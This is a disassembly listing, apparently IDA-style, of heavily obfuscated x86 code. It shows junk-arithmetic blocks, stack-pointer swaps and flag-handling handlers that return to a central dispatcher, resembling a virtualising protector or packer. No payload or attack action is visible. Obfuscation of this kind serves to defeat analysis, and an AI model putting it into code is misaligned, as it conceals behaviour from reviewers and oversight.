		push	cx
		mov	cl, 0FEh
		jmp	loc_58C288
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+0CCh+var_CC], cl
		pushf
		jmp	loc_58BF2B
; ---------------------------------------------------------------------------


loc_583462:				; CODE XREF: sub_57DD3A+AD27j
		mov	esi, 62D73671h
		neg	esi
		neg	esi
		and	esi, 168869DCh
		shr	esi, 3
		add	esi, 0FFAFFBFAh
		add	edi, esi
		push	[esp+0D0h+var_D0]
		mov	esi, [esp+0D4h+var_D4]
		add	esp, 4
		add	esp, 4
		jmp	loc_58D9D6
; ---------------------------------------------------------------------------


loc_583490:				; CODE XREF: sub_57DD3A+D612j
		add	[esp+0CCh+var_CC], 4
		mov	ebp, [esp+0CCh+var_CC]
		add	esp, 4
		push	edx
		mov	edx, 1F9027DAh
		not	edx
		add	edx, 7B7D028Eh
		jmp	loc_58BBD2
; ---------------------------------------------------------------------------


loc_5834B0:				; CODE XREF: sub_57DD3A+5DF8j
		push	esi
		sub	esp, 4
		mov	[esp+0D4h+var_D4], eax
		push	316E5DECh
		pop	eax
		add	eax, 0CE91A216h
		mov	esi, eax
		jmp	loc_583DC8
; ---------------------------------------------------------------------------


loc_5834C9:				; CODE XREF: sub_57DD3A+10213j
		add	esp, 4
		pop	[esp+0D0h+var_D0]
		pop	esp
		mov	ax, word ptr [esp+0C8h+var_C8]
		jmp	loc_586C2C
; ---------------------------------------------------------------------------


loc_5834DC:				; CODE XREF: sub_57DD3A+EEB2j
		push	43BBh
		mov	[esp+0CCh+var_CC], edi
		mov	edi, esp
		push	edx
		jmp	loc_582531
; ---------------------------------------------------------------------------


loc_5834EC:				; CODE XREF: sub_57DD3A+E62Dj
		shl	byte ptr [esp+0D0h+var_D0], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5834F5:				; CODE XREF: sub_57DD3A+A995j
		push	71B31F1Dh
		pop	ebx
		neg	ebx
		add	ebx, 9A8845AEh
		jmp	loc_586598
; ---------------------------------------------------------------------------


loc_583508:				; CODE XREF: sub_57DD3A+4778j
		push	[esp+9Ah+var_9C+2]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_581FE3
; ---------------------------------------------------------------------------


loc_583522:				; CODE XREF: sub_57DD3A+E2E3j
		pop	esp
		pop	[esp+9Eh+var_A0+2]
		pop	esp
		mov	ax, word ptr [esp+96h+var_98+2]
		jmp	loc_58DE8C
; ---------------------------------------------------------------------------


loc_583530:				; CODE XREF: sub_57DD3A+A0C4j
		add	esp, 4


loc_583536:				; CODE XREF: sub_57DD3A+3D70j
					; sub_57DD3A+3F53j
		push	dword ptr [edi+24h]
		sub	[esp+96h+var_98+2], 49A05D3Eh
		mov	ecx, [esp+96h+var_98+2]
		add	esp, 4
		push	esi
		push	edi
		jmp	loc_58E004
; ---------------------------------------------------------------------------


loc_58354D:				; CODE XREF: sub_57DD3A+B70Cj
		add	eax, 11576F49h
		pop	ebx
		pop	esi
		push	ebp
		jmp	loc_58CC07
; ---------------------------------------------------------------------------


loc_58355A:				; CODE XREF: sub_57DD3A+DA62j
		mov	word ptr [esp+96h+var_98+2], bx
		jmp	loc_589FAA
; ---------------------------------------------------------------------------


loc_583563:				; CODE XREF: sub_57DD3A+3F70j
		pop	eax
		push	edx
		mov	edx, 0B6C31h
		jmp	loc_589EDE
; ---------------------------------------------------------------------------


loc_58356F:				; CODE XREF: sub_57DD3A+D744j
		sub	edx, esi
		mov	esi, [esp+88h+var_88]
		add	esp, 4
		xchg	edx, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		jmp	loc_5827B5
; ---------------------------------------------------------------------------


loc_583585:				; CODE XREF: sub_57DD3A+A971j
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		push	ecx
		mov	ecx, 75F8397Bh
		dec	ecx
		add	ecx, 4B242366h
		jmp	loc_589EB5
; ---------------------------------------------------------------------------


loc_58359B:				; CODE XREF: sub_57DD3A+55F3j
		mov	eax, 7013278h
		jmp	loc_5899D0
; ---------------------------------------------------------------------------


loc_5835A5:				; CODE XREF: sub_57DD3A+A70Dj
		sub	ecx, 0FFFFFFFFh
		push	26BEh
		mov	[esp+0C4h+var_C4], ebp
		mov	ebp, 2D680FC4h
		xor	ecx, ebp
		jmp	loc_58C2FC
; ---------------------------------------------------------------------------


loc_5835BC:				; CODE XREF: sub_57DD3A+9958j
		shr	edx, 7
		and	edx, 204904E7h
		sub	edx, 0FE68EE8Ah
		jmp	loc_58B304
; ---------------------------------------------------------------------------


loc_5835D0:				; CODE XREF: sub_57DD3A+6FACj
		add	esp, 4
		push	edi
		push	35A3495Dh
		pop	edi
		shl	edi, 3
		add	edi, 6FE64EDFh
		jmp	loc_5825D0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	ebx
		mov	ebx, esp
		jmp	loc_58A43B
; ---------------------------------------------------------------------------


loc_5835F3:				; CODE XREF: sub_57DD3A+72EEj
		sub	esp, 4
		mov	[esp+0D0h+var_D0], ebx
		push	ebp
		jmp	loc_582666
; ---------------------------------------------------------------------------


loc_5835FF:				; CODE XREF: sub_57DD3A+A44Ej
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_583604:				; CODE XREF: sub_57DD3A+47E3j
		pop	[esp+0ACh+var_AC]
		jmp	loc_58CABC
; ---------------------------------------------------------------------------


loc_58360C:				; CODE XREF: sub_57DD3A+E2EFj
		add	ebp, 4
		xor	ebp, [esp+0A8h+var_A8]
		xor	[esp+0A8h+var_A8], ebp
		xor	ebp, [esp+0A8h+var_A8]
		jmp	loc_58D7EC
; ---------------------------------------------------------------------------


loc_583620:				; CODE XREF: sub_57DD3A+F9DCj
		xor	ax, si
		pop	si
		push	small 3EBCh
		mov	word ptr [esp+0A8h+var_A8], bx
		mov	bx, 1AA2h
		jmp	loc_588C10
; ---------------------------------------------------------------------------


loc_583636:				; CODE XREF: sub_57DD3A+9AE8j
		add	edi, esi
		pop	esi
		jmp	loc_589004
; ---------------------------------------------------------------------------


loc_58363E:				; CODE XREF: sub_57DD3A+B1C0j
		xor	ecx, 700E4F7Eh
		xor	edx, ecx
		pop	ecx
		push	eax
		jmp	loc_582DC6
; ---------------------------------------------------------------------------


loc_58364D:				; CODE XREF: sub_57DD3A+86E4j
		push	[esp+0A4h+var_A4]
		pop	esi
		jmp	loc_588A8D
; ---------------------------------------------------------------------------


loc_583656:				; CODE XREF: sub_57DD3A+D27Dj
		pop	dx
		sub	al, dh
		jmp	loc_5859EB
; ---------------------------------------------------------------------------


loc_58365F:				; CODE XREF: sub_57DD3A+8CFBj
		xchg	esi, [esp+0A2h+var_A4+2]
		mov	esp, [esp+0A2h+var_A4+2]
		mov	word ptr [esp+0A2h+var_A4+2], cx
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58366E:				; CODE XREF: sub_57DD3A+D6A3j
		add	[esp+0A2h+var_A0+2], 4487729Ch
		add	[esp+0A2h+var_A0+2], eax
		jmp	loc_58C2EF
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0A2h+var_A4+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_58A36C
; ---------------------------------------------------------------------------


loc_583692:				; CODE XREF: sub_57DD3A+E4EEj
		add	esp, 4
		add	bl, al
		jmp	loc_58835E
; ---------------------------------------------------------------------------


loc_58369F:				; CODE XREF: sub_57DD3A+A5DDj
		mov	[esp+0A6h+var_A8+2], edx
		mov	edx, 19376BF4h
		xor	edx, 31D20C2h
		push	ebx
		push	esi
		mov	esi, 0F44324Ch
		not	esi
		shr	esi, 5
		or	esi, 6E94904h
		push	edi
		mov	edi, 4BF381AFh
		add	esi, edi
		jmp	loc_58A359
; ---------------------------------------------------------------------------


loc_5836CC:				; CODE XREF: sub_57DD3A+75E7j
		push	dx
		jmp	loc_58CDFB
; ---------------------------------------------------------------------------


loc_5836D3:				; CODE XREF: sub_57DD3A+C238j
		or	ebx, edi
		pop	edi
		not	ebx
		neg	ebx
		add	ebx, 0C4929A1Eh
		sub	eax, 50AB2F9Ch
		add	eax, 18494DAEh
		add	eax, ebx
		sub	eax, 18494DAEh
		jmp	loc_581C40
; ---------------------------------------------------------------------------


loc_5836F6:				; CODE XREF: sub_57DD3A+ACDDj
		sub	eax, ebp
		pop	ebp
		sub	edx, 713B4A79h
		jmp	loc_588600
; ---------------------------------------------------------------------------


loc_583704:				; CODE XREF: sub_57DD3A+5CF2j
		mov	edi, 4
		jmp	loc_589848
; ---------------------------------------------------------------------------


loc_58370E:				; CODE XREF: sub_57DD3A+BEACj
		pop	ebp
		jmp	loc_5861B9
; ---------------------------------------------------------------------------


loc_583714:				; CODE XREF: sub_57DD3A+8BF1j
		mov	edx, [esp+0A8h+var_A8]
		add	esp, 4
		add	al, 0F0h
		add	al, bl
		sub	al, 0F0h
		add	al, 0C1h
		jmp	loc_58C456
; ---------------------------------------------------------------------------


loc_58372A:				; CODE XREF: sub_57DD3A+B263j
		mov	edi, [esp+0A4h+var_A4]
		add	esp, 4
		add	edx, 0CA0C26CFh
		add	eax, 7A476884h
		jmp	loc_58466A
; ---------------------------------------------------------------------------


loc_583740:				; CODE XREF: sub_57DD3A+F8BDj
		mov	ebp, 25D0B85h
		add	ebp, 38BF4C99h
		shl	ebp, 1
		jmp	loc_588A09
; ---------------------------------------------------------------------------


loc_583752:				; CODE XREF: sub_57DD3A+53C1j
		neg	edx
		neg	edx
		sub	edx, 3CBD258Bh
		add	ebx, 1AE54C70h
		jmp	loc_587199
; ---------------------------------------------------------------------------


loc_583767:				; CODE XREF: sub_57DD3A+C1D7j
		add	ecx, 4
		push	ecx
		push	[esp+0AEh+var_AC+2]
		pop	ecx
		pop	[esp+0AEh+var_B0+2]
		jmp	loc_582B90
; ---------------------------------------------------------------------------


loc_583778:				; CODE XREF: sub_57DD3A+FC0Bj
		add	ebp, 21E63B80h
		add	ebp, 106F5797h
		sub	ebp, 0FFFFFFFFh
		or	ebp, 3BF6703Eh
		shl	ebp, 4
		push	6FA8h
		mov	[esp+0AEh+var_B0+2], eax
		mov	eax, 358C235Bh
		jmp	loc_58B1CD
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0AEh+var_B0+2]
		push	edx
		push	esp
		pop	edx
		push	2922h
		mov	[esp+0B6h+var_B8+2], ebx
		push	eax
		jmp	loc_583B4B
; ---------------------------------------------------------------------------


loc_5837BA:				; CODE XREF: sub_57DD3A+8EBCj
		mov	dl, 5Dh
		push	ax
		mov	al, 0E8h
		jmp	loc_58D675
; ---------------------------------------------------------------------------


loc_5837C5:				; CODE XREF: sub_57DD3A+941Dj
		add	ecx, edi
		jmp	loc_5859C4
; ---------------------------------------------------------------------------


loc_5837CC:				; CODE XREF: sub_57DD3A+7468j
		sub	ebp, 11A02B88h
		jmp	loc_58CD19
; ---------------------------------------------------------------------------


loc_5837D7:				; CODE XREF: sub_57DD3A+7645j
		sub	esi, ebx
		pop	ebx
		push	4EB8h
		jmp	loc_5864C9
; ---------------------------------------------------------------------------


loc_5837E4:				; CODE XREF: sub_57DD3A+A982j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0BCh+var_BC]
		pop	esp
		jmp	loc_587094
; ---------------------------------------------------------------------------


loc_5837F7:				; CODE XREF: sub_57DD3A+919Ej
		sub	eax, ebp
		jmp	loc_582E2D
; ---------------------------------------------------------------------------


loc_5837FE:				; CODE XREF: sub_57DD3A+A531j
		mov	ebx, [esp+0B8h+var_B8]
		add	esp, 4
		push	edi
		jmp	loc_58472B
; ---------------------------------------------------------------------------


loc_58380D:				; CODE XREF: sub_57DD3A+FE9Bj
		mov	ebx, 67641D21h
		push	ecx
		mov	ecx, 29EB538Dh
		xor	ebx, ecx
		pop	ecx
		shr	ebx, 7
		add	ebx, 23C7486Dh
		sub	ebx, 0B5162EFBh
		xor	eax, ebx
		pop	ebx
		sub	eax, 0C1D6A0A6h
		add	ecx, eax
		jmp	loc_589455
; ---------------------------------------------------------------------------


loc_583839:				; CODE XREF: sub_57DD3A+DC0Aj
		shr	cl, 4
		jmp	loc_58D9B6
; ---------------------------------------------------------------------------


loc_583841:				; CODE XREF: sub_57DD3A+62EAj
		sub	edx, 65C4721Fh
		push	ebx
		jmp	loc_588F21
; ---------------------------------------------------------------------------


loc_58384D:				; CODE XREF: sub_57DD3A+F989j
		mov	esp, [esp+0B8h+var_B8]
		mov	eax, [esp+0B8h+var_B8]
		push	4752h
		jmp	loc_585664
; ---------------------------------------------------------------------------


loc_58385D:				; CODE XREF: sub_57DD3A+E578j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0BCh+var_BC]
		pop	esp
		jmp	loc_581D17
; ---------------------------------------------------------------------------


loc_58386F:				; CODE XREF: sub_57DD3A+C081j
		sub	ebp, esi
		pop	esi
		push	441Ah
		jmp	loc_584F92
; ---------------------------------------------------------------------------


loc_58387C:				; CODE XREF: sub_57DD3A+4078j
		mov	esi, 1B983802h
		mov	ebp, 0EE71DA46h
		add	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 25597C3Fh
		xor	ebx, 2CAE6DB8h
		neg	ebx
		jmp	loc_5883F6
; ---------------------------------------------------------------------------


loc_58389C:				; CODE XREF: sub_57DD3A+AE26j
		push	edi
		push	40B9322Bh
		pop	edi
		xor	eax, edi
		push	[esp+8Ah+var_8C+2]
		jmp	loc_586048
; ---------------------------------------------------------------------------


loc_5838AD:				; CODE XREF: sub_57DD3A+8C07j
		mov	esp, [esp+8Eh+var_90+2]
		jmp	loc_58422F
; ---------------------------------------------------------------------------


loc_5838B5:				; CODE XREF: sub_57DD3A+721Aj
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+8Eh+var_90+2]
		xor	[esp+8Eh+var_90+2], ebx
		xor	ebx, [esp+8Eh+var_90+2]
		pop	esp
		jmp	loc_58B54C
; ---------------------------------------------------------------------------


loc_5838CD:				; CODE XREF: sub_57DD3A+F94Cj
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], esp
		add	[esp+8Eh+var_90+2], 4
		mov	edx, [esp+8Eh+var_90+2]
		jmp	loc_58A3D8
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	cl, 0FAh
		xor	cl, 5Bh
		add	al, cl
		pop	ecx
		sub	al, 58h
		jmp	loc_5887EE
; ---------------------------------------------------------------------------


loc_5838F3:				; CODE XREF: sub_57DD3A+C6E1j
		mov	ecx, 31BE6307h
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 7
		jmp	loc_58BAE4
; ---------------------------------------------------------------------------


loc_583903:				; CODE XREF: sub_57DD3A+DC27j
		pop	ebx
		pop	ecx
		mov	edx, [esp+82h+var_84+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+86h+var_88+2]
		pop	esp
		jmp	loc_58BAC2
; ---------------------------------------------------------------------------


loc_583920:				; CODE XREF: sub_57DD3A+A112j
		sub	ebx, 4
		xor	ebx, [esp+82h+var_84+2]
		xor	[esp+82h+var_84+2], ebx
		xor	ebx, [esp+82h+var_84+2]
		jmp	loc_58C9B9
; ---------------------------------------------------------------------------


loc_583934:				; CODE XREF: sub_57DD3A+EE9Aj
		add	eax, 4
		add	eax, 4
		jmp	loc_5896E0
; ---------------------------------------------------------------------------


loc_583943:				; CODE XREF: sub_57DD3A+3CA7j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_583948:				; CODE XREF: sub_57DD3A+B336j
		pop	esi
		add	edx, 3A954B0Bh
		add	edx, 365F4F3h
		add	edi, 199B2F6Fh
		jmp	loc_586B4C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	ebp
		mov	ebp, 61AC513Dh
		inc	ebp
		push	edx
		mov	edx, 0AEB4D478h
		sub	ebp, 220247C4h
		add	ebp, edx
		add	ebp, 220247C4h
		jmp	loc_583D39
; ---------------------------------------------------------------------------


loc_583983:				; CODE XREF: sub_57DD3A+DC5Bj
		inc	ebp
		add	ebp, 0FAFFFD81h
		sub	ecx, ebp
		pop	ebp
		xor	ecx, [esp+66h+var_68+2]
		xor	[esp+66h+var_68+2], ecx
		xor	ecx, [esp+66h+var_68+2]
		mov	esp, [esp+66h+var_68+2]
		mov	word ptr [esp+66h+var_68+2], cx
		jmp	loc_58A67A
; ---------------------------------------------------------------------------


loc_5839A2:				; CODE XREF: sub_57DD3A+3EB6j
		mov	ecx, 7A066512h
		and	esi, ecx
		pop	ecx
		jmp	loc_585AD7
; ---------------------------------------------------------------------------


loc_5839AF:				; CODE XREF: sub_57DD3A+684Aj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_58D4C6
; ---------------------------------------------------------------------------


loc_5839BA:				; CODE XREF: sub_57DD3A+5462j
		xchg	ecx, ebx
		sub	ebx, 6C015029h
		add	edx, ebx
		pop	ebx
		jmp	loc_583D2C
; ---------------------------------------------------------------------------


loc_5839CA:				; CODE XREF: sub_57DD3A+D829j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		sub	edx, 7BCE4798h
		add	edx, eax
		add	edx, 7BCE4798h
		jmp	loc_58738C
; ---------------------------------------------------------------------------


loc_5839E6:				; CODE XREF: sub_57DD3A+BA4Fj
		add	[esp+0A4h+var_A4], 4
		pop	ebp
		push	edi
		mov	edi, 662F1648h
		not	edi
		shl	edi, 6
		jmp	loc_58D6E2
; ---------------------------------------------------------------------------


loc_5839FE:				; CODE XREF: sub_57DD3A+3DD2j
		mov	[esp+6Ah+var_6C+2], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	4
		pop	edx
		jmp	loc_582E5A
; ---------------------------------------------------------------------------


loc_583A15:				; CODE XREF: sub_57DD3A+64BFj
		mov	ebx, esp
		jmp	loc_588728
; ---------------------------------------------------------------------------


loc_583A1C:				; CODE XREF: sub_57DD3A+D1AFj
		pop	eax
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp+72h+var_74+2], edi
		jmp	loc_583704
; ---------------------------------------------------------------------------


loc_583A31:				; CODE XREF: sub_57DD3A+FB52j
		pop	edx
		jmp	loc_58C641
; ---------------------------------------------------------------------------


loc_583A37:				; CODE XREF: sub_57DD3A+F70Aj
		mov	dh, 0C4h
		sub	dh, 68h
		sub	ch, dh
		pop	edx
		xor	ch, 7Eh
		jmp	loc_582674
; ---------------------------------------------------------------------------


loc_583A47:				; CODE XREF: sub_57DD3A+6273j
		pop	esi
		sub	esi, ebp
		mov	ebp, [esp+66h+var_68+2]
		add	esp, 4
		push	eax
		push	53AA62CDh
		pop	eax
		sub	esp, 4
		mov	[esp+6Ah+var_6C+2], edx
		push	785Fh
		mov	[esp+6Eh+var_70+2], esi
		push	eax
		xor	[esp+72h+var_74+2], 37D47135h
		mov	esi, [esp+72h+var_74+2]
		add	esp, 4
		xor	esi, 37D47135h
		push	ebx
		mov	ebx, esi
		mov	edx, ebx
		pop	ebx
		pop	esi
		mov	ebx, edx
		mov	edx, [esp+6Ah+var_6C+2]
		add	esp, 4
		mov	eax, [esp+66h+var_68+2]
		add	esp, 4
		sub	ebx, 53AA62CDh


loc_583A9A:				; CODE XREF: sub_57DD3A+94B7j
		sub	esp, 4
		mov	[esp+66h+var_68+2], eax
		jmp	loc_58D0EF
; ---------------------------------------------------------------------------


loc_583AA5:				; CODE XREF: sub_57DD3A+CC6Dj
		mov	ebx, 0FEF5CBBh
		sub	ebx, 63383A33h
		or	ebx, 6E60088Fh
		jmp	loc_586042
; ---------------------------------------------------------------------------


loc_583ABB:				; CODE XREF: sub_57DD3A+50F6j
		push	ebx
		jmp	loc_58BB24
; ---------------------------------------------------------------------------


loc_583AC1:				; CODE XREF: sub_57DD3A+9667j
		xchg	edx, [esp+80h+var_80]
		jmp	loc_589B9A
; ---------------------------------------------------------------------------


loc_583AC9:				; CODE XREF: sub_57DD3A+7253j
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+84h+var_84], ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp+84h+var_84]
		add	esp, 4
		xor	ebx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebx
		xor	ebx, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		push	6534h
		jmp	loc_582F19
; ---------------------------------------------------------------------------


loc_583AFD:				; CODE XREF: sub_57DD3A+81C2j
		push	ebx
		push	[esp+88h+var_84]
		pop	ebx
		jmp	loc_5829EB
; ---------------------------------------------------------------------------


loc_583B08:				; CODE XREF: sub_57DD3A+CEBEj
		pop	edx
		add	esp, 4
		push	10D1h
		mov	[esp+84h+var_84], esi
		push	38F02D05h
		pop	esi
		push	22F4h
		mov	[esp+88h+var_88], edx
		push	7CD25B9Ch
		jmp	loc_585082
; ---------------------------------------------------------------------------


loc_583B2C:				; CODE XREF: sub_57DD3A+1015Cj
		add	ebp, 4
		jmp	loc_5834B0
; ---------------------------------------------------------------------------


loc_583B37:				; CODE XREF: sub_57DD3A+54A7j
		pop	ebx
		xchg	eax, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		jmp	loc_58B3F4
; ---------------------------------------------------------------------------


loc_583B43:				; CODE XREF: sub_57DD3A+C513j
		xor	[esp+7Eh+var_80+2], ebp
		jmp	loc_587E73
; ---------------------------------------------------------------------------


loc_583B4B:				; CODE XREF: sub_57DD3A+5A7Bj
		mov	eax, 619E46E9h
		xor	eax, 4B5007B8h
		or	eax, 6A276BB6h
		jmp	loc_58AE41
; ---------------------------------------------------------------------------


loc_583B5F:				; CODE XREF: sub_57DD3A+5EC7j
		mov	al, 6Ch
		push	eax
		mov	ah, 0F8h
		mov	bl, 0Bh
		xor	bl, ah
		pop	eax
		xor	bl, al
		pop	eax
		mov	ch, 4Ah
		jmp	loc_587ED3
; ---------------------------------------------------------------------------


loc_583B73:				; CODE XREF: sub_57DD3A+72F6j
		mov	edx, [esp+0B6h+var_B8+2]
		sub	esp, 4
		mov	[esp+0BAh+var_BC+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		jmp	loc_58B73E
; ---------------------------------------------------------------------------


loc_583B8A:				; CODE XREF: sub_57DD3A+8D63j
		push	ecx
		mov	ecx, 662330ADh
		sub	ecx, 57A47B46h
		xor	ecx, 1497338Bh
		jmp	loc_587B1F
; ---------------------------------------------------------------------------


loc_583BA1:				; CODE XREF: sub_57DD3A+D269j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0C2h+var_C4+2]
		pop	esp
		pop	ebx
		and	ecx, edx
		mov	edx, [esp+0BAh+var_BC+2]
		add	esp, 4
		shr	ecx, 0
		jmp	loc_58CB8A
; ---------------------------------------------------------------------------


loc_583BC5:				; CODE XREF: sub_57DD3A+4C05j
		mov	esi, [esp+72h+var_74+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+76h+var_78+2]
		pop	esp
		push	ebp
		jmp	loc_584B74
; ---------------------------------------------------------------------------


loc_583BDE:				; CODE XREF: sub_57DD3A+96DAj
		sub	edx, 667725F2h
		jmp	loc_58D773
; ---------------------------------------------------------------------------


loc_583BE9:				; CODE XREF: sub_57DD3A+60F3j
		and	eax, 7E9C32AEh
		add	eax, 42DB19A6h
		jmp	loc_584A6A
; ---------------------------------------------------------------------------


loc_583BF8:				; CODE XREF: sub_57DD3A+B203j
		sub	edx, ebx
		pop	ebx
		jmp	loc_58723C
; ---------------------------------------------------------------------------


loc_583C00:				; CODE XREF: sub_57DD3A+E4AFj
		push	eax
		jmp	loc_583B5F
; ---------------------------------------------------------------------------
		push	5676h
		mov	[esp+7Ah+var_7C+2], edx
		push	1
		pop	edx
		or	[edi+1Ch], edx
		jmp	loc_58571A
; ---------------------------------------------------------------------------


loc_583C1C:				; CODE XREF: sub_57DD3A+7572j
		add	eax, ebp
		jmp	loc_58990B
; ---------------------------------------------------------------------------


loc_583C23:				; CODE XREF: sub_57DD3A+EC72j
		push	ecx
		push	22EE4C31h
		pop	ecx
		jmp	loc_588E33
; ---------------------------------------------------------------------------


loc_583C2F:				; CODE XREF: sub_57DD3A+6A8Fj
		add	ebp, 175F5BF6h
		add	esi, ebp
		pop	ebp
		jmp	loc_587202
; ---------------------------------------------------------------------------


loc_583C3D:				; CODE XREF: sub_57DD3A+EB13j
		movzx	cx, ah
		push	edx
		sub	esp, 4
		mov	[esp+82h+var_84+2], esp
		jmp	loc_5893B0
; ---------------------------------------------------------------------------


loc_583C4D:				; CODE XREF: sub_57DD3A+C2D6j
		pop	esp
		mov	[esp+7Eh+var_80+2], ebp
		jmp	loc_58AE4D
; ---------------------------------------------------------------------------


loc_583C56:				; CODE XREF: sub_57DD3A+DC4Dj
		sub	edi, 4
		jmp	loc_58CFD1
; ---------------------------------------------------------------------------


loc_583C5E:				; CODE XREF: sub_57DD3A+E585j
		push	57C8h
		mov	[esp+82h+var_84+2], eax
		jmp	loc_58C7FF
; ---------------------------------------------------------------------------


loc_583C6B:				; CODE XREF: sub_57DD3A+C6EDj
		mov	dh, ch
		pop	ecx
		push	0
		jmp	loc_5882D3
; ---------------------------------------------------------------------------


loc_583C78:				; CODE XREF: sub_57DD3A+BE4Fj
		inc	ch
		and	ch, 9Dh
		jmp	loc_58AF24
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+80h+var_80], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_583C92:				; CODE XREF: sub_57DD3A+945Aj
		not	esi
		and	esi, 2FC20282h
		sub	esi, 25BFFFFEh
		add	edi, esi
		mov	esi, [esp+84h+var_84]
		push	edx
		jmp	loc_5886D4
; ---------------------------------------------------------------------------


loc_583CAB:				; CODE XREF: sub_57DD3A+CBE6j
		mov	ecx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5840DD
; ---------------------------------------------------------------------------


loc_583CB8:				; CODE XREF: sub_57DD3A+7A31j
		add	ebp, 4
		push	ebp
		push	[esp+90h+var_8C]
		jmp	loc_58B99A
; ---------------------------------------------------------------------------


loc_583CC8:				; CODE XREF: sub_57DD3A+4AE2j
		push	[esp+0BAh+var_B8+2]
		pop	ebp
		pop	[esp+0BAh+var_BC+2]
		pop	esp
		jmp	loc_581FCB
; ---------------------------------------------------------------------------


loc_583CD6:				; CODE XREF: sub_57DD3A+CB43j
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, 1F505153h
		shr	ebp, 6
		add	ebp, 3F622E0Ah
		or	ebp, 1ECA7EB4h
		push	ebx
		mov	ebx, 3A102B11h
		sub	ebx, 0C4FBFE56h
		xor	ebp, ebx
		jmp	loc_58762B
; ---------------------------------------------------------------------------


loc_583D05:				; CODE XREF: sub_57DD3A+46BAj
		mov	eax, [esp+8Ah+var_8C+2]
		add	esp, 4
		add	bl, al
		push	ecx
		push	ebx
		push	edx
		mov	dl, 77h
		mov	bh, dl
		pop	edx
		mov	ch, bh
		pop	ebx
		add	ch, 0F6h
		push	edx
		push	ebx
		mov	bl, 14h
		sub	bl, 0B2h
		mov	dl, bl
		mov	ebx, [esp+92h+var_94+2]
		jmp	loc_58B949
; ---------------------------------------------------------------------------


loc_583D2C:				; CODE XREF: sub_57DD3A+5C8Bj
		push	eax
		mov	eax, 3D0B5ECBh
		xor	edx, eax
		jmp	loc_58BB39
; ---------------------------------------------------------------------------


loc_583D39:				; CODE XREF: sub_57DD3A+5C44j
		pop	edx
		sub	[esp+66h+var_64+2], ebp
		mov	ebp, [esp+66h+var_68+2]
		add	esp, 4
		mov	ecx, [esp+62h+var_64+2]
		add	esp, 4
		push	ebp
		push	eax
		mov	eax, 6973735Ch
		mov	ebp, eax
		mov	eax, [esp+66h+var_68+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_58BFCD
; ---------------------------------------------------------------------------


loc_583D70:				; CODE XREF: sub_57DD3A+9508j
		sub	edx, ebp
		sub	edx, 2FBE53FCh
		jmp	loc_58C588
; ---------------------------------------------------------------------------


loc_583D7D:				; CODE XREF: sub_57DD3A+B7EAj
		mov	ebp, edx
		mov	edx, [esp+6Ah+var_6C+2]
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Ah
		push	4CF1h
		mov	[esp+66h+var_68+2], edi
		mov	edi, ebx
		jmp	loc_58AA7B
; ---------------------------------------------------------------------------


loc_583D9D:				; CODE XREF: sub_57DD3A+E9E2j
		pop	edi
		xor	edx, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], edx
		xor	edx, [esp+62h+var_64+2]
		mov	esp, [esp+62h+var_64+2]
		imul	cx
		push	small 2399h
		mov	word ptr [esp+64h+var_64], dx
		push	ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_583DBD:				; CODE XREF: sub_57DD3A+9D7Ej
		add	eax, 1AC51601h
		pop	edx
		jmp	loc_581DB0
; ---------------------------------------------------------------------------


loc_583DC8:				; CODE XREF: sub_57DD3A+578Aj
		push	[esp+0D4h+var_D4]
		jmp	loc_589656
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0D8h+var_D8]
		sub	esp, 4
		mov	[esp+0DCh+var_DC], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 73D709Bh
		push	edx
		jmp	loc_585846
; ---------------------------------------------------------------------------


loc_583DEE:				; CODE XREF: sub_57DD3A+ACEDj
		sub	edx, edi
		mov	edi, [esp+0E4h+var_E4]
		jmp	loc_589D8C
